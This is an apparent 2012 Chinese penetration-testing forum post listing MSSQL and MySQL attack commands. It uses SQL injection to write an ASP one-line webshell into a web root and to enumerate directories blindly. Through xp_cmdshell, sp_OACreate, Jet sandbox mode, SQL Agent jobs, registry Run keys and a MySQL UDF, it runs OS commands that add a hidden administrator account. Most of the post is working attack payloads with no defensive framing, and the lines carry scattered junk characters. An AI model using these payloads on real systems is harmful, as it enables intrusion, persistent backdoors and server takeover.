中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马' Q' W. \* M2 P3 ~) w+ B
首先确定网站的WEB路径
8 n' w* f4 d0 s- g# V;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马' x# \/ ?0 Z' p) r# w1 o: |, S
2 `. b# R" v0 R
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- . N5 @# `" M3 O
//将一句话木马插入表中  F6 |9 j$ w, `9 k9 {6 @+ ?

" e( K* T$ x1 s5 e: _; r( k  n+ Z;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- $ Y" _$ ^' y5 M# O, h" |
//导出一个ASP文件, ?6 W0 f5 y. j4 @
3 i5 {3 H/ E' {( D! N1 ]

, z' d2 C  f- G  O: L/ m' c关于MSSQL列目录/ G, I/ J9 [' T/ i
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表/ z- S0 Z8 Z, d9 L2 Q5 P% x% w
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
. _  O9 ^! u) \9 m9 B9 `+ ]( r3 G* A- T% @
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
  x' P9 G' Q2 p0 t1 ^  C
: [6 x7 Y' j% A1 aAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段+ X3 {3 F3 ^- T! @5 w0 l

5 t8 ]" M' {: E! h: P* iAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符" M& a/ ?! X8 `6 n$ \. K
7 S1 T5 i+ D, M- w! C$ j

" G- O# c) j5 L数据库版本和权限查看% u; @4 U, J, E5 ?* k
and 1=(select @@VERSION) //查看详细的数据库信息.
: ~) F  ^) P  }  Uand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
9 O2 ~) Z6 T0 i) K6 A( pand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
, s# X2 N7 K( D1 {/ B" U
. m/ r: f0 Q3 Y. g
" e* ~5 y9 [$ G5 P5 }# F1.利用xp_cmdshell执行命令8 q  @! C' b5 h8 E# u7 `& i3 r
exec master..xp_cmdshell 'net user rfire 123456 /add'+ g7 h- M6 @/ ]) `
exec master..xp_cmdshell 'net localgroup administrators rfire /add'- f% k* X3 x" k$ R

2 X, X! R7 L0 s: z+ X0 L恢复xp_cmdshell存储过程4 U+ K- N1 [7 |+ U& _& `6 t7 k
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'+ z6 G4 V) x# W9 [% L4 k% T

, ]) P, j2 K; o# X" m. _$ m! O# I. M
2.利用SP_OAcreate和SP_OAMETHOD执行命令$ I- y; y3 c& Q* x- f9 C: l  k
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下7 K- m7 K$ n3 E# `: N4 {6 F1 D
DECLARE @shell INT //建立一个@shell实体; u5 k9 s$ l0 M3 N! {5 Q
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
! y$ f8 D& V) \0 o; EEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
5 w% B" w* D% f8 T$ w; n# }% S" `9 J$ i% B7 m- }: \3 O0 j. Y

  n/ o. }2 T+ p: v4 s0 Q0 j8 j3.利用沙盒模式6 ~- l9 a( b, g# W8 [% w  k3 B; y" ]& r
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。& W5 T0 z5 @) ~( T1 m* e! H/ f
开启沙盒模式:9 J5 f& f' C7 a+ [/ [9 r4 C
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
, p& t3 v7 ^( A1 ^% G( h/ N3 S. j
执行命令:
5 t+ q; h2 \" w, T: W/ z! rSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
+ k5 x, q9 y# c1 C$ d+ V; p( u1 i! k$ U. t# w9 p( v4 [

  A2 D4 x5 E) {' B4.利用SQL代理执行命令
5 c! c' f: Q2 h% {9 C1 ^! m" JEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
& J7 S& }! h+ H3 D: `" H( L1 f8 h! M& T" h; s, ]8 t% l! L/ Q
执行命令:
4 u' Y6 Y) O; n6 guse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
1 @1 }! I9 l( D9 yexec sp_add_job 'x'/ f% U. Z0 O" s& i2 K
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业9 }# Z+ H" J  k+ ?* n
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业% S1 x$ R/ f5 h& c7 E
/ s+ f" ^3 N4 x

+ @2 y* r1 O4 G: z5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)9 l2 o! j0 v8 c$ H2 r1 b
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'2 D7 v& B3 S6 l6 x$ Z
8 u! i! y+ o! _5 W* i, Z5 i

: a# L( ~' @, |2 W5 H1 F7 y6.MYSQL的命令执行6 `: P% I" m2 m& v( u
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
. x7 c4 o* c- c) n  D6 U+ }6 G首先要在su.php下导出c:\windows\udf.dll
5 h/ T2 S1 m  B# C5 x导出后执行创建自定义函数命令:+ a. b8 \. ?% r$ d
Create Function cmdshell returns string soname 'udf.dll'  l  S" O1 s9 P6 a- A3 C
执行命令$ G* Q) y. _( [4 f9 W
select cmdshell('net user rfire 123456 /add')
" ^' V8 e( E# [2 ~# l执行后删除函数 drop function cmdshell. [# p; N( O+ |% e! I9 |+ M





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2